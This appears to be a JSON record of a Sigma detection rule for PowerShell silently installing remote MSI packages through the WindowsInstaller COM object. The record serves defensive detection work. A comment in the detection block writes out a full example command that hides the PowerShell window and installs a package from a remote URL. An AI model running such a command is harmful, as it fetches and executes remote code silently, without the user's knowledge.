{"id":"222720a7-047f-4054-baa5-bab9be757db0","title":"PowerShell MSI Install via WindowsInstaller COM From Remote Location","description":"Detects the execution of PowerShell commands that attempt to install MSI packages via the\nWindows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.\nThis could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.\nAnd the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.\n","author":"Meroujan Antonyan (vx3r)","status":"experimental","level":"medium","date":"2025-06-05","modified":"","tags":["attack.execution","attack.stealth","attack.t1059.001","attack.t1218","attack.command-and-control","attack.t1105"],"technique_ids":["T1059.001","T1105","T1218"],"logsource":{"category":"process_creation","product":"windows"},"falsepositives":["Unknown"],"references":["https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/","https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/","https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457"],"source_path":"rules/windows/process_creation/proc_creation_win_powershell_comobject_msi_remote.yml","source_sha256":"3374236fac971e1670f21b36c1d326fb999e898dbb86234f991f71ed0a4b54dc","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi_remote.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: PowerShell MSI Install via WindowsInstaller COM From Remote Location\nid: 222720a7-047f-4054-baa5-bab9be757db0\nstatus: experimental\ndescription: |\n    Detects the execution of PowerShell commands that attempt to install MSI packages via the\n    Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.\n    This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.\n    And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.\nreferences:\n    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/\n    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/\n    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457\nauthor: Meroujan Antonyan (vx3r)\ndate: 2025-06-05\ntags:\n    - attack.execution\n    - attack.stealth\n    - attack.t1059.001\n    - attack.t1218\n    - attack.command-and-control\n    - attack.t1105\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Example: \"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -W Hidden -C \"$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')\";\n    selection_img:\n        - Image|endswith:\n              - '\\powershell_ise.exe'\n              - '\\powershell.exe'\n              - '\\pwsh.exe'\n        - OriginalFileName:\n              - 'PowerShell_ISE.EXE'\n              - 'PowerShell.EXE'\n              - 'pwsh.dll'\n    selection_cli:\n        CommandLine|contains|all:\n            - '-ComObject'\n            - 'InstallProduct('\n    selection_remote:\n        CommandLine|contains:\n            - 'http'\n            - '\\\\\\\\'\n    filter_main_localhost:\n        CommandLine|contains:\n            - '://127.0.0.1'\n            - '://localhost'\n    condition: all of selection_* and not 1 of filter_main_*\nfalsepositives:\n    - Unknown\nlevel: medium\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1059.001","id":"T1059.001","name":"PowerShell","page":"techniques/enterprise/T1059.001/"},{"key":"enterprise/T1105","id":"T1105","name":"Ingress Tool Transfer","page":"techniques/enterprise/T1105/"},{"key":"enterprise/T1218","id":"T1218","name":"System Binary Proxy Execution","page":"techniques/enterprise/T1218/"}],"data_path":"data/detection-rules/222720a7-047f-4054-baa5-bab9be757db0.json","kind":"sigma"}